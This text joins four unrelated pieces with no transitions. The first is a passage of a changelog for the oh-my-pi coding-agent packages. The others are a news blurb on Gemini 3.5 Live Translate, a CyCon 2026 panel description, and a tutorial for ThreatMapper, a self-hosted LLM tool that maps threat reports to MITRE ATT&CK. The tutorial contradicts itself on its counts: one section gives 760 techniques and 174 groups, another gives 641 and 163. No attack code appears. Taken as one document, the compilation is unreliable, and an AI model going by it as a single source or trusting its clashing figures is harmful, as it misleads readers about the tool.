• Hardened strict tool-schema handling beyond the optional-union case: enforceStrictSchema now splices natively nested pure unions into the parent anyOf (only when the inner node carries no constraining siblings, since sibling keywords are conjunctive with anyOf), so source schemas with nested unions no longer produce type-less anyOf branches that strict upstream validators reject. (#2270)
• Made the openai-completions non-strict retry reachable for "mixed" strict mode (previously gated to all_strict, i.e. Cerebras only) and taught it to recognize upstream tool-schema validation 400s (Invalid tool parameters schema …, Invalid schema for function …). A matching rejection now retries the request with base (non-strict) schemas and persists strictToolsDisabled on the provider session, so later requests skip the doomed strict attempt instead of paying a 400 + retry round-trip each turn. (#2270)
• Cross-model anthropic-messages → anthropic-messages continuations now preserve prior assistant turns' reasoning chains end-to-end: every prior thinking/redactedThinking block survives (not just the latest surviving assistant), and third-party ↔ third-party replays keep their signatures intact so the reasoning chain stays signed for the next turn. Signatures are stripped (and any redacted_thinking sibling without a native landing spot is dropped) only when an official Anthropic endpoint is on either end of the replay — official Anthropic cryptographically binds reasoning signatures to its key+session+model, while compatible reasoning endpoints (Z.AI, DeepSeek, custom anthropic-messages providers configured via models.yaml) treat them as opaque continuation hints. Source-side official detection uses the canonical catalog provider id "anthropic" (assistant messages carry no baseUrl); target-side detection reuses the baked compat.officialEndpoint flag. Latest-turn byte-for-byte behavior (Anthropic's "thinking blocks in the latest assistant message cannot be modified" rule) and existing aborted/errored last-block sanitization are unchanged. (#2257, #2265)

@oh-my-pi/pi-catalog

Fixed

• Fixed buildModel so malformed explicit thinking metadata without efforts is treated as sparse input and inferred instead of crashing during model resolution (#2251).

@oh-my-pi/pi-coding-agent

Breaking Changes

• Removed the resume option from the task tool API and its resume execution path; continue work on finished subagents by sending follow-up messages via irc instead
• Removed the irc.enabled setting: irc availability is now derived — the tool exists exactly when there is someone to message (the session can spawn subagents through task, or it is a subagent itself). A stale irc.enabled key in config is ignored
• The task tool was reworked to always run spawns in the background as independent, persistent agents: results arrive as async job deliveries (block with job poll only when genuinely needed). The wire schema is now shape-swapped by the new task.batch setting (default on): { agent, context, tasks[] } — one subagent per task item, per-item isolated, and a required shared context — or, when disabled, a flat single-spawn shape { agent, id?, description?, assignment, isolated? } with shared background passed via local:// files instead
• Removed the task.simple setting and the task tool's per-call schema parameter outright: structured subagent output now comes only from the agent definition's output frontmatter or the inherited session schema, and ad-hoc structured workflows use eval agent(prompt, schema). A stale task.simple key in config is migrated away
• Reworked irc to send/wait/inbox/list ops over a per-agent mailbox bus: the blocking awaitReply auto-reply turn is removed — send is fire-and-forget with delivery receipts, and replies are real turns by the recipient observed via wait (or the send await: true sugar)
• Removed the context argument from eval agent() in both the JS and Python preludes: pass shared background via a local:// file referenced in the prompt
• Replaced the standalone session-observer overlay with the Agent Hub: app.session.observe (ctrl+s) now opens the hub, whose chat view absorbed the observer's transcript renderer

Added

• Snapcompact compaction now passes the session model so frames render in the provider-optimal shape (unscii 8x8r-bw for Anthropic-family/unknown APIs, 8x8r-sent for Google, Lanczos-stretched 6x6u-sent with detail: "original" for OpenAI), per the snapcompact 200k-token evals
• Added per-turn supersede pruning of stale read results: when a file is re-read, older copies of the same path/selector are pruned from context at cache-favorable moments (small suffix, idle gap, or alongside overflow pruning). Gated by the new compaction.supersedeReads setting (default on)
• Added soft request budgets for task subagents (explore/quick_task 40, others 90, configurable via task.softRequestBudget, 0 disables): crossing the budget injects a one-time wrap-up steer into the child; crossing 1.5× aborts the run gracefully
• Added cancelled/aborted subagent salvage: instead of (no output), merged task results now carry the child's last activity snippet plus request/token stats, and per-child stats lines include request counts
• Added a repeat-read notice to the read tool: the third and later reads of the same file in a session append a one-line note suggesting range re-reads or the context echoed in edit results
• Added a hard inline byte cap (~50KB) at the bash and browser tool-result boundaries with head/tail elision and an artifact:// footer for the full output, closing paths that previously let 100KB+ results land inline
• Added the Agent Hub overlay (ctrl+s, alt+a, or double-tap left arrow on an empty editor): a live table of registered subagents (status, unread IRC count, current task, last activity) with per-agent chat — Enter opens a transcript + input line that steers a running agent, prompts an idle one, and revives a parked one; r revives and x aborts/releases the selected agent
• Added the snapcompact compaction strategy (compaction.strategy: "snapcompact"): history is archived onto dense bitmap "snapcompact" frames a vision model reads back directly, instead of an LLM-generated summary — instant, free, and verbatim. Auto compaction (including overflow recovery) and manual /compact both honor it; falls back to context-full with a visible warning notice when the current model is text-only (e.g. Codex API surfaces) or when /compact is given custom instructions. Frames survive context rebuilds and later compactions (budget eviction is middle-out: the session-head frame is pinned); the expanded compaction message notes the attached frame count
• Added a persistent subagent lifecycle: finished subagents stay live as idle, are parked to disk after task.agentIdleTtlMs (default 7 minutes; 0 keeps them live until exit), and are revived automatically when messaged or prompted from the Agent Hub
• Added the history:// protocol: history:// lists every registered agent and history://<agentId> renders a concise markdown transcript (tool calls collapsed to one line each, thinking elided) for live and parked agents alike
• Added an IRC mailbox bus with bounded per-agent inboxes: irc wait blocks until a matching message arrives, inbox drains or peeks pending messages, and sending to an idle or parked agent wakes or revives it for a real turn
• Added a dedicated TUI renderer for the irc tool: directional send/receive headers with delivery-outcome coloring, quoted message bodies with expand-aware truncation, per-recipient receipt trees for broadcasts and failures, and status-badged peer listings with unread counts
• Added the task.batch setting (default on): the task tool's batch shape { agent, context, tasks[] } spawns one subagent per item — each its own independent background job with the normal idle/parked lifecycle and optional per-item isolation — and prepends the required shared context to every spawned subagent's system prompt; disabling it restores the flat single-spawn schema

Changed

• Changed task-tool sync execution to fan out multiple tasks[] items in parallel and return a merged result payload when no async job manager is available
• Changed the compaction UX so the conversation no longer visually restarts: the TUI renders the full-history display transcript (buildSessionContext({ transcript: true })), with each compaction shown as a slim inline divider — ── 📷 compacted · ctrl+o ── — at the point it fired; expanding (ctrl+o) reveals the summary and snapcompact frame count. Applies to live compaction, /compact, /tree navigation, and session resume
• Changed async.enabled to gate async bash commands only — the task tool now runs asynchronously regardless of the setting
• Changed irc.timeoutMs to be the default timeout for irc wait and send with await: true
• Moved the grouped path-tree helpers (buildPathTree, walkPathTree, find's grouped output formatter — now formatGroupedPaths) to @oh-my-pi/pi-utils so compaction summaries can render file lists with the same prefix-folded tree as find/search; tools/find no longer exports formatFindGroupedOutput
• Changed TTSR rule notifications to combine rules into one block: a multi-rule match renders name: description rows (collapsed view caps at 4 rules with a +N more hint, ctrl+o expands), and consecutive notifications merge into the previous block while it is still the live transcript tail

Removed

• Removed the pre-initialization startup splash and input buffer, so commands typed during launch are no longer queued and are handled only after the interactive TUI initializes

Fixed

• Fixed irc live message delivery so successfully handed-off messages are no longer enqueued as mailbox mail, so they do not inflate unread irc counts
• Fixed irc send with await: true to wait for a fresh reply to the current call instead of consuming previously buffered messages
• Fixed main-session chat output to stop duplicating outbound irc sends from the main agent as relay cards
• Fixed task-tool runtime compatibility so legacy flat task calls (agent, assignment) still execute under task.batch even though the wire schema is batch-first
• Fixed the job tool's TUI preview leaking the model-facing <task-result> envelope for settled task jobs — the preview now shows the inner output body, and pretty-printed JSON bodies are flattened onto one line instead of previewing a lone {
• Fixed npm CLI distribution bundles by embedding the stats dashboard client bundle so dashboard assets are served in prebuilt installs
• Fixed the resolve tool's result block turning white after the leading icon: the accent-styled symbol embedded a foreground reset inside the inverse-rendered line, dropping the block color for the rest of the row
• Fixed the CLI smoke-test command to start the stats server and verify dashboard HTML is served, catching bundled-asset regressions
• Added verification of a <div id="root"></div> and index.js in smoke-test dashboard responses
• Restored the checkmark glyph on ask-tool custom answers and the multi-select "Done selecting" option, which a status-glyph sweep had swapped for the ask tool icon
• Fixed the thinking.autoPending statusbar indicator using question-mark glyphs (▣?, nf-md-help_box, [?]) in every symbol preset, which made the auto-thinking pending state indistinguishable from a terminal missing-glyph fallback. Replaced with clear loading indicators (⟳, fa-circle-o-notch, [~]) (#2267).
• Fixed tab.screenshot({ save }) ignoring the save path's extension: an explicit .webp/.jpg destination received hardcoded PNG bytes behind a mismatched name. The full-res capture format is now derived from the save path (png/jpeg/webp, puppeteer-native), and the reported mime type follows the bytes actually written; unknown or missing extensions still capture PNG
• Fixed an infinite compaction.strategy: shake auto-continue loop in thinking-heavy sessions: the post-shake check now uses the provider-anchored trigger metric (instead of a local estimate that undercounts thinkingSignature payloads) and only treats pressure as resolved when residual context lands inside an 80% recovery band, so shake reliably falls back to context-full compaction when it cannot create real headroom (#2275).

@oh-my-pi/hashline

Changed

• Block-unresolved errors (replace block N: / delete block N / insert after block N: failing to resolve a syntactic block) now append a numbered preview of the file around the anchor line — same *-marked context rows the hash-mismatch error shows — so the offending line is visible without a re-read

@oh-my-pi/pi-natives

Breaking Changes

• Changed renderSnapcompactPng(text, options) to return a base64-encoded PNG string instead of a Uint8Array

Added

• Added dim-span ink toggles to renderSnapcompactPng: U+000E/U+000F in the input switch to a dim gray ink (palette index 9) and back without occupying a glyph cell, letting callers visually de-emphasize spans such as archived tool output
• Added renderSnapcompactPng(text, options): rasterizes pre-normalized text onto a square PNG in an eval-validated snapcompact shape. Options select the bundled font (5x8 X.org BDF or 8x8 unscii-8, both public domain, shipped in crates/pi-natives/src/fonts/), the ink variant (sent six-hue sentence cycling or bw black), line repetition (each text line printed N times, copies on a pale highlight band), and a target cell size — cells differing from the font's natural cell render via Lanczos3 stretch into an anti-aliased RGB frame (e.g. the OpenAI-optimal 6x6 unscii shape); native-cell shapes encode as 4-bit indexed PNG. Replaces the JS rasterizer/PNG writer previously in @oh-my-pi/pi-agent-core.

@oh-my-pi/snapcompact

Breaking Changes

• Changed renderSnapcompactFrame output from png: Uint8Array to data: string base64, requiring consumers to read frame payloads from frame.data

Added

• Added new serialization options toolResultMaxChars, toolArgMaxChars, toolCallMaxChars, truncateHeadRatio, and dimToolResults to snapcompactCompact/serializeSnapcompactConversation so callers can tune how tool results and arguments are archived
• Added exported default constants SNAPCOMPACT_TOOL_RESULT_MAX_CHARS, SNAPCOMPACT_TOOL_ARG_MAX_CHARS, SNAPCOMPACT_TOOL_CALL_MAX_CHARS, and SNAPCOMPACT_TRUNCATE_HEAD_RATIO for reuse when configuring truncation limits
• Added provider-specific snapcompact frame-shape presets and shape helpers (SNAPCOMPACT_SHAPES, resolveSnapcompactShape, isSnapcompactShape) so callers can consistently select validated image-frame geometry for archive renders
• Added file-operations.md and snapcompact-summary.md prompts to preserve file-read/write context and frame metadata in the compaction prompt flow
• Added a full packages/snapcompact/research experiment and visualization suite for running snapcompact SQuAD studies, provider probes, and activation-style analyses
• Added package-level TypeScript exports and publication config so consumers can import @oh-my-pi/snapcompact with typed access to snapcompact APIs
• Published @oh-my-pi/snapcompact as the reusable snapcompact compaction package, including bitmap-frame rendering helpers, archive helpers, and the local snapcompactCompact() strategy.

Changed

• Changed truncation in archived tool output to keep both the beginning and end of long text using a configurable head/tail ratio instead of a single hard cut
• Changed tool-result text rendering so archived tool results are shown in dim gray ink by default and the summary prompt notes that dim text is archived tool output
• Changed RenderedFrame visible-character accounting so chars no longer includes invisible dim-control markers
• Changed the file-operations summary block to a single <files> tag: one grouped, prefix-folded directory tree with per-file (Read)/(Write)/(RW) markers, replacing the separate <read-files>/<modified-files> lists; upsertSnapcompactFileOperations takes the cumulative read set to distinguish (RW) from blind writes

Fixed

• Fixed frame rendering at archive chunk boundaries to reopen dim spans when a chunk ends inside a dimmed tool-result segment
• Fixed message serialization to strip user- and assistant-provided dim markers so only renderer-generated dim spans can be applied

@oh-my-pi/omp-stats

Added

• Added support for prebuilt npm bundle mode via PI_BUNDLED, allowing the stats server to use an embedded dashboard bundle in packaged CLI distributions

Fixed

• Fixed handling of legacy embedded-client.generated.txt placeholder content so it is treated as missing archive instead of being decoded into invalid bytes
• Fixed ENOENT handling while scanning dashboard source/build directories so missing client/ or dist/client trees no longer crash startup

@oh-my-pi/pi-tui

Added

• Added support for asynchronous onSubmit handlers by allowing the callback to return a Promise<void>

@oh-my-pi/pi-utils

Added

• Added the path-tree module (buildPathTree, walkPathTree, formatGroupedPaths, isUrlLikePath), moved from the coding agent's grouped file output so compaction file lists can share the same prefix-folded directory-tree rendering; formatGroupedPaths gains an optional annotate callback for per-file suffixes

Fixed

• Fixed the {{join}} prompt helper joining with a literal two-character \n when templates pass "\n" as the separator — Handlebars string literals carry no escape processing. The separator now unescapes \n/\t, matching the {{#list}} helper's documented convention (visible as literal \n between paths in compaction <read-files> lists).

What's Changed

• fix(ai): preserve 3p anthropic-messages reasoning chains across model swaps by @roboomp in #2266
• fix(tui): replaced thinking.autoPending question-mark glyphs with loading indicators by @roboomp in #2268
• fix(catalog): handle missing thinking efforts by @roboomp in #2252
• fix(ai): flatten OpenRouter DeepSeek strict unions by @roboomp in #2271
• fix(agent): break shake auto-continue loop when local estimate diverges from provider usage by @roboomp in #2277

Full Changelog: v15.10.12...v15.11.0

Google releases Gemini 3.5 Live Translate, an audio model for real-time translation across more than 70 languages. The system translates continuously without waiting for a sentence to end and claims to preserve the speaker's tone, pace, and pitch. In Google Meet, language support jumps from five to over 70 languages.

The article Google's Gemini 3.5 Live Translate delivers real-time voice translation across 70+ languages appeared first on The Decoder.

CyCon 2026 | This fireside chat brings together European, Asian, and North American perspectives on cyber incident response affecting critical infrastructure during nation-state attacks. The discussion examines why different regions approach infrastructure protection differently, from regulatory philosophies and public–private partnerships to incident response protocols. The speakers debate whether current international norms governing cyber conflict meaningfully constrain adversaries or merely provide diplomatic cover for continued aggression against civilian infrastructure. They also discuss incidents in which policy constraints limited effective response, as well as cases where well-designed regulation closed important security gaps. The conversation also addresses difficult questions. Are we defending the right systems? Have regulatory environments become so complex that compliance replaces actual security? When attribution is clear but response options remain limited, what does deterrence actually mean in cyberspace?

Speakers:
Mr. Robert Knake, CEO, TPO Group
Brigadier General Gaurav Keerthi, Chief Executive Officer, StrongKeep
Ms. Tarah Wheeler, Chief Security Officer, TPO Group
Dr. Marina Krotofil, Independent Cybersecurity Consultant

#CCDCOE #CyCon2026

Table of Contents

1. The Problem
2. What ThreatMapper Does
3. Architecture in Brief
4. Setting Up (10 Minutes)
5. Core Workflow: Analysing a Threat Report
6. The Navigator: Your ATT&CK Workspace
7. APT Attribution Deep-Dive: Three Compare Modes
8. Two Databases: Actor Profiles and Your Report Library
9. Generating Reports
10. Using the AI Chat Assistant
11. Working with All Three ATT&CK Domains
12. API Usage (Headless / CI Integration)
13. Keeping ATT&CK Data Fresh
14. Tips for Analysts
15. Security Considerations
16. What’s Coming Next
17. Final Thoughts

The tool:

GitHub - anpa1200/threatmapper: AI-powered MITRE ATT\&CK threat intelligence platform - D3.js navigator, APT comparison, Claude/GPT-4o/Gemini analysis, PDF reports

Docs:

ThreatMapper - Self-Hosted AI Threat Intelligence | ThreatMapper

The Problem

Every threat intelligence analyst knows the workflow: you receive a malware report, an IR summary, or a threat feed entry, and you need to translate it into ATT&CK technique IDs so you can slot it into a detection backlog or a purple-team plan.

Doing this manually is slow. You read the report, recognise a behaviour (“the implant used scheduled tasks for persistence”), pull up the ATT&CK website, search for the technique, copy the ID. Repeat 20 times for a single report. Then someone asks: “Does this look like APT29?” — and you start manually cross-referencing technique lists.

There are commercial platforms that do this — but they are expensive, require data to leave your environment, and often treat ATT&CK as a secondary feature behind proprietary kill-chains.

ThreatMapper is my attempt to solve this for analysts who want a self-hosted, privacy-first, open-source option that uses the LLM API keys they already have.

What ThreatMapper Does

In one sentence: you give it a threat report, it gives you ATT&CK technique IDs, APT group matches, confidence scores, and a PDF.

Concretely:

• AI Analysis — upload a PDF, DOCX, or TXT file (or paste text), pick Claude, GPT-4o, or Gemini, and get a streamed extraction of every ATT&CK technique the LLM identifies with evidence snippets and confidence scores

• ATT&CK Navigator — an interactive heatmap of the full ATT&CK matrix (Enterprise, Mobile, ICS) where you build and explore your TTP layer

• APT Attribution — automatic Jaccard similarity ranking of every extraction against 174+ named ATT&CK threat groups and 56+ named campaigns (e.g. “Operation Ghost”, “SolarWinds Compromise”)

• Compare — deep side-by-side comparison of your TTP set against groups, MITRE named campaigns, or your own stored report library; with visual matrix diff, tactic breakdown chart, and gap analysis

• Export — ATT&CK Navigator-compatible JSON layers and multi-page PDF reports suitable for executive briefings

Everything runs locally in Docker. Your threat reports never leave your machine.(With local or private LLM)

Architecture in Brief

ThreatMapper is four containers:

The backend ingests ATT&CK STIX 2.1 bundles directly from MITRE’s GitHub repository using pure Python — no third-party ATT&CK library, fully compatible with Python 3.12. All three ATT&CK domains (Enterprise, Mobile, ICS) are parsed and stored in PostgreSQL with JSONB arrays for the STIX arrays.

LLM calls go directly from the FastAPI backend to Anthropic / OpenAI / Google using their official SDKs. Your API keys never touch a third-party service beyond the LLM provider itself.

Setting Up (10 Minutes)

Prerequisites

• Docker + Docker Compose
• An API key for at least one of: Anthropic (Claude), OpenAI, Google Gemini

Step 1: Clone and configure

git clone https://github.com/anpa1200/threatmapper.git
cd threatmapper
cp .env.example .env

Important: you must create .env before running docker compose up. Without it the container starts with empty API keys and AI Analysis returns 500.

Open .env and add your keys. You only need one:

ANTHROPIC_API_KEY=sk-ant-...
# OPENAI_API_KEY=sk-...
# GEMINI_API_KEY=AIza...
DB_PASS=choose_a_strong_password

If you want a faster first start and only need Enterprise ATT&CK, set:

ATTCK_DOMAINS=enterprise-attack

This downloads ~35 MB instead of ~105 MB.

Step 2: Start

docker compose up

The first start downloads and ingests ATT&CK data automatically. Watch progress:

docker compose logs -f api

You’ll see something like:

Parsing enterprise-attack-19.1.json ...
  Parsed: 15 tactics, 760 techniques, 174 groups, 56 campaigns, 9100+ usages
Finished ingesting enterprise-attack v19.1
INFO:     Application startup complete.

This takes 5–15 minutes depending on your network speed. Subsequent startups are instant (data is cached in the PostgreSQL volume).

Step 3: Open

• Frontend: http://localhost:3000

• API docs (Swagger UI): http://localhost:8000/docs

Core Workflow: Analysing a Threat Report

This is the killer feature and what most analysts will use day-to-day.

Upload your report

Navigate to Analyze in the sidebar. You’ll see:

1. A provider dropdown (Claude / GPT-4o / Gemini)
2. An optional model override (defaults to claude-opus-4-8, gpt-4o, gemini-2.0-flash)
3. A domain selector (enterprise-attack for most corporate IR work)
4. A text area or file upload

For a PDF analysis report:

1. Select Claude (or your preferred provider)
2. Leave the domain as enterprise-attack
3. Click Choose file and upload your PDF
4. Click Analyse with AI

You’ll immediately see the LLM’s response streaming in the output box — token by token, just like ChatGPT. This is not a spinner that makes you wait: you can read the thinking as it happens.

Reading the results

When the stream completes, three tabs appear:

Techniques tab — the core output. Each row shows:

FieldExampleATT&CK IDT1059.001NamePowerShellTacticExecutionConfidence92%Evidence”executed a base64-encoded PowerShell payload”

The evidence field is a direct quote or paraphrase from your source document — you can use it to trace every mapping back to its origin in the text. High confidence (≥ 80%) means the text explicitly described the behaviour; lower scores mean it was inferred.

APT Matches tab — the attribution layer. Computed locally using Jaccard similarity between your extracted techniques and every named ATT&CK group’s known TTP set. The top 10 are shown with:

• Similarity score (0–100%)
• Shared technique count
• List of the overlapping technique IDs

A match above 25–30% is worth investigating. Don’t treat this as definitive attribution — use it as a lead for further research.

Raw Response — the LLM’s full JSON output. Useful for debugging when the model outputs something unexpected.

Inject into Navigator

Click → Inject into Navigator to push all extracted techniques into your live Navigator layer. You can then:

• See the techniques highlighted on the full ATT&CK matrix
• Overlay an APT group to visualise the behavioural overlap
• Export as an ATT&CK Navigator JSON layer

The Navigator: Your ATT&CK Workspace

The Navigator is the central hub. It renders the full ATT&CK matrix as an interactive heatmap with D3.js zoom/pan.

Building a layer

Click any technique cell to add it to your layer (it turns red). Click again to deselect. For sub-techniques, click the small ▶ arrow to expand the parent cell and see the sub-technique rows.

Practical tip: use the search box to find techniques by name or ID without manually scanning the matrix. Type T1059 to jump to all Command and Scripting Interpreter techniques, or type phish to find all phishing-related techniques.

Overlaying an APT group

1. Go to APT Library and find your group of interest
2. Click Overlay on Navigator
3. Return to Navigator

The matrix now uses three colours:

• Red — in your layer only
• Blue — in the APT group’s profile only
• Amber — in both (the overlap)

This visual immediately answers: “Which of this group’s known techniques am I not already detecting?”

Importing an existing layer

If you already have ATT&CK Navigator layers from previous work, click ↑ Import layer and upload the JSON. ThreatMapper will load it as your active layer, which you can then enrich with AI analysis or compare against APT groups.

Saving and Loading Named Layers

Once you have built a TTP layer — whether through AI analysis, manual selection, or an APT campaign overlay — you can save it to the database with a name and reload it in any future session.

Why this matters

Without persistence, every session starts blank. You would have to re-inject or re-select all your techniques each time you come back to a piece of work. Named layers let you:

• Bookmark a specific investigation. Save “Lazarus Q1 2025 incident” at 47 techniques and return to it a week later exactly where you left off.
• Build a fingerprint library. Save a layer for each major campaign you track — “Operation Ghost TTPs”, “SolarWinds Compromise TTPs” — and reload any of them for comparison without re-running AI analysis.
• Maintain a baseline. Keep a “What we detect” layer with your detection coverage and a “What we’ve seen” layer of your observed incidents. Load each into a fresh session to compare.
• Share work across team members. Layers are stored in the shared PostgreSQL database, so a layer saved by one analyst is visible to all.

Saving a layer

1. Select your techniques in Navigator (they turn red)
2. Click ↓ Save layer in the toolbar — this button appears only when at least one technique is selected
3. Enter a descriptive name (e.g. “MuddyWater CTI analysis — April 2025”)
4. Press Enter or click Save

The layer is immediately written to the database. The technique IDs are stored in sorted, deduplicated form together with the domain.

Loading a layer

1. Click 📂 Load layer in the toolbar (always visible)
2. A list of all saved layers appears, each showing the name, technique count, domain, and last-modified date
3. Click Load — the saved layer replaces your current selection entirely

To delete a layer you no longer need, click the ✕ button next to it in the Load dialog and confirm.

APT Attribution Deep-Dive: Three Compare Modes

The Compare view has three modes selectable from a switcher at the top of the page.

Mode 1 — Groups (DB 1)

With techniques selected in Navigator (or injected from an AI analysis), navigate to Compare, make sure Groups (DB 1) is selected, and click Compare vs APT Groups. This ranks all 174+ threat groups by Jaccard similarity.

Click any group to open the four-tab detail view:

Overview — similarity score, shared technique chips (amber), techniques only in your layer (red). Answers: “How much of our observed behaviour matches this group’s known playbook?”

Tactic Breakdown — stacked bar per kill-chain phase: shared / user-only / APT-only. Reveals where in the kill chain the overlap is concentrated.

Visual Diff — compact colour-strip matrix. Best for presentations.

Gap Analysis — every technique in the group’s known profile not in your layer. This is your detection backlog.

Mode 2 — Campaigns (DB 1)

Switch to Campaigns (DB 1) and click Compare vs Campaigns. This ranks all 56+ named MITRE operations by Jaccard similarity.

Why this is more precise than group comparison: A group’s aggregate profile spans years. A campaign profile is one specific attack. Matching your TTPs against C0024 (SolarWinds Compromise) at 40% is a sharper lead than matching against G0016 (APT29) at 15%.

Mode 3 — Reports (DB 2)

Switch to Reports (DB 2). The left panel lists every AI analysis you have ever run. Click any report to re-run Jaccard comparison against all ATT&CK groups — without re-calling the LLM.

Use this for retrospective attribution after ATT&CK releases new group data, or to cluster multiple incidents under a common actor.

Practical attribution workflow

1. Run AI analysis on your incident data (give it a descriptive name)
2. Inject extracted techniques into Navigator
3. Compare → Groups mode: look for similarity > 25%
4. Compare → Campaigns mode: check if the top group has a campaign that fits the timeline
5. Gap Analysis tab: use the technique gap as a structured hunt checklist
6. Download the PDF report for your findings

Two Databases: Actor Profiles and Your Report Library

When you dig into attribution you quickly realise there are two different things you want to compare against:

1. What MITRE says groups have done — the curated ATT&CK dataset of group TTP profiles, including named campaigns (specific operations like “Operation Ghost”)
2. What you have actually observed — your own library of analysed reports, each with its own extracted TTP mapping

ThreatMapper v0.3 builds both into a single comparison workflow via three modes in the Compare view.

DB 1: MITRE Actor Profiles and Named Campaigns

The ATT&CK STIX 2.1 bundle contains more than just group TTP profiles. It also includes:

• campaign objects — named operations with their own ATT&CK IDs (e.g. C0023 = "Operation Ghost", C0025 = "2016 Ukraine Electric Power Attack")
• attributed-to relationships — which group conducted which campaign
• uses relationships at the campaign level — the specific techniques observed in each named operation (often different from the group's aggregate profile)

ThreatMapper parses all of this during ATT&CK ingestion. The result is two searchable, comparable datasets that both live in DB 1:

DatasetWhat it containsID formatAPT GroupsAggregate TTP profile of each named threat groupG0001 — G0174+CampaignsTTP profile of each named operation/campaignC0001 — C0063+

Why campaigns matter: A group’s aggregate profile is the union of everything ever attributed to them across all operations and years. A campaign profile is specific to one attack. Comparing your incident TTPs against campaigns is often more discriminating than comparing against the full group — an incident that matches C0023 (Operation Ghost) at 45% similarity is a more specific lead than a match against G0016 (APT29) at 15%.

Viewing campaigns in the APT Library

The APT Library now has two tabs per group:

• Techniques — the full aggregate TTP list (existing behaviour)
• Campaigns (DB 1) — all named operations attributed to this group

Each campaign card shows the date range, technique count, and ATT&CK ID. Click to expand and see the full technique list with the use description from STIX.

The “Add to my TTPs” button on each campaign card pushes all of that campaign’s techniques into your Navigator layer — useful for building a “this specific operation’s TTP fingerprint” layer to compare against your detection coverage.

DB 2: Your Report Library

Every time you run an AI analysis in ThreatMapper, the result is stored: the extracted techniques, the summary, the APT matches, and the provider/model used. DB 2 is this library of past analyses.

Access it via Compare → Reports (DB 2).

The left panel lists every completed report session with:

• Name (the filename or label you gave it when you uploaded)
• Technique count
• Domain
• Provider and model used
• Date

Click any report to run a fresh Jaccard comparison of that report’s extracted techniques against all ATT&CK groups. This answers: “If I come back to this report from three months ago — which groups match its TTP profile?”

This is useful in a few scenarios:

Retrospective attribution: You analysed a report before you had a strong hypothesis about the actor. A new ATT&CK version was released that added new groups or techniques. Rerun the comparison against the updated ATT&CK data without re-running the expensive LLM analysis.

Cross-incident correlation: If two reports from different incidents both have high similarity to the same APT group, that’s a data point for clustering the incidents under the same actor.

Building a baseline: Accumulate 20 reports over a quarter. In the Reports library you can see at a glance which groups are recurring themes across your incident set — a form of environmental threat profiling.

The three Compare modes

ModeWhat you compareAgainstGroups (DB 1)Your selected TTPs (from Navigator)All 174+ ATT&CK groupsCampaigns (DB 1)Your selected TTPs (from Navigator)All named MITRE campaignsReports (DB 2)A stored report’s extracted TTPsAll 174+ ATT&CK groups

Use the mode switcher at the top of the Compare page to move between them.

API for both databases

Compare against campaigns:

curl -X POST "http://localhost:8000/api/apt/campaigns/compare?domain=enterprise-attack&top_n=10" \
  -H "Content-Type: application/json" \
  -d '{"technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001"]}'

List your stored report sessions:

curl "http://localhost:8000/api/analyze/sessions?limit=20" | python -m json.tool

Re-compare a stored report:

SESSION_ID="550e8400-e29b-41d4-a716-446655440000"
curl -X POST "http://localhost:8000/api/analyze/sessions/$SESSION_ID/compare?top_n=10"

List campaigns for a specific group:

curl "http://localhost:8000/api/apt/campaigns?domain=enterprise-attack&group_id=G0016"

Generating Reports

ThreatMapper generates two types of PDF reports.

Analysis report

From the Analyze page, after a completed analysis, click Download PDF. The report is formatted for sharing with management or a client and includes:

• Cover page with provider, model, domain, session ID, and timestamp
• Executive summary (the AI-generated TL;DR)
• Extracted techniques table sorted by confidence descending
• APT attribution section with the top 10 Jaccard matches
• Tactic coverage breakdown showing how the techniques distribute across the kill chain

Navigator layer report

From the Navigator, click ↓ PDF in the toolbar. This generates a lighter report listing all techniques in your current layer with their ATT&CK IDs, tactics, and platforms — useful as a rapid deliverable for a purple-team session or a detection engineering sprint.

Using the AI Chat Assistant

Every technique in the detail panel has an embedded AI chat. This is not a generic chatbot — it is a threat intelligence assistant with the full ATT&CK description of the selected technique already in context.

Practical prompts that work well:

For detection engineering:

“Write a SIGMA rule for detecting this technique on Windows via Sysmon events”

For understanding evasion:

“How do attackers modify this technique to avoid common detections?”

For hunting:

“What should I look for in Windows Security event logs to hunt for this technique? Give me specific event IDs and field values.”

For red teaming context:

“Which tools in the open-source red team ecosystem implement this technique?”

For correlation:

“Which techniques are commonly chained with this one in post-exploitation workflows?”

The context field at the bottom of the chat lets you paste additional information — for example, a log snippet or a list of technique IDs from your current investigation. This gives the assistant grounding in your specific situation. The context field accepts up to 8,000 characters.

Working with All Three ATT&CK Domains

ThreatMapper supports Enterprise, Mobile, and ICS ATT&CK out of the box.

Switch domains using the Domain dropdown in the Navigator toolbar or the Analyze page.

Enterprise ATT&CK — 641 techniques, 163 groups. Use for traditional IT infrastructure incidents: Windows/Linux/macOS endpoints, cloud workloads, Active Directory environments.

Mobile ATT&CK — covers Android and iOS threat behaviours. Useful for incidents involving mobile device management (MDM) bypass, spyware, or mobile-targeting APT campaigns.

ICS ATT&CK — covers operational technology and industrial control systems. Use for incidents involving SCADA, PLCs, HMIs, or critical infrastructure.

Each domain has its own set of tactics, techniques, and APT groups. When you run an AI analysis, select the appropriate domain so the Jaccard comparison runs against groups known for activity in that domain.

API Usage (Headless / CI Integration)

ThreatMapper exposes a full REST API. You can drive the entire workflow programmatically.

Analyse a report via API

curl -X POST http://localhost:8000/api/analyze \
  -F "provider=claude" \
  -F "domain=enterprise-attack" \
  -F "file=@incident_report.pdf" \
  | python -m json.tool

Response:

{
  "session_id": "550e8400-e29b-41d4-a716-446655440000",
  "provider": "claude",
  "model": "claude-opus-4-8",
  "summary": "The report describes a spearphishing campaign ...",
  "techniques": [
    {
      "attack_id": "T1566.001",
      "name": "Spearphishing Attachment",
      "tactic": "initial-access",
      "confidence": 0.95,
      "evidence": "the email contained a malicious Excel attachment"
    }
  ],
  "apt_matches": [
    {
      "group_attack_id": "G0016",
      "group_name": "APT29",
      "similarity": 0.34,
      "shared_count": 8,
      "shared_techniques": ["T1566.001", "T1059.001", ...]
    }
  ]
}

Compare a known technique set via API

curl -X POST "http://localhost:8000/api/apt/compare?domain=enterprise-attack&top_n=5" \
  -H "Content-Type: application/json" \
  -d '{"technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001", "T1003.001"]}' \
  | python -m json.tool

Manage saved layers via API

# List all saved layers (optionally filter by domain)
curl "http://localhost:8000/api/layers?domain=enterprise-attack" | python -m json.tool
# Save a layer
curl -X POST http://localhost:8000/api/layers \
  -H "Content-Type: application/json" \
  -d '{"name": "MuddyWater Q1 indicators", "domain": "enterprise-attack",
       "technique_ids": ["T1566.001", "T1059.001", "T1078", "T1021.001"]}'
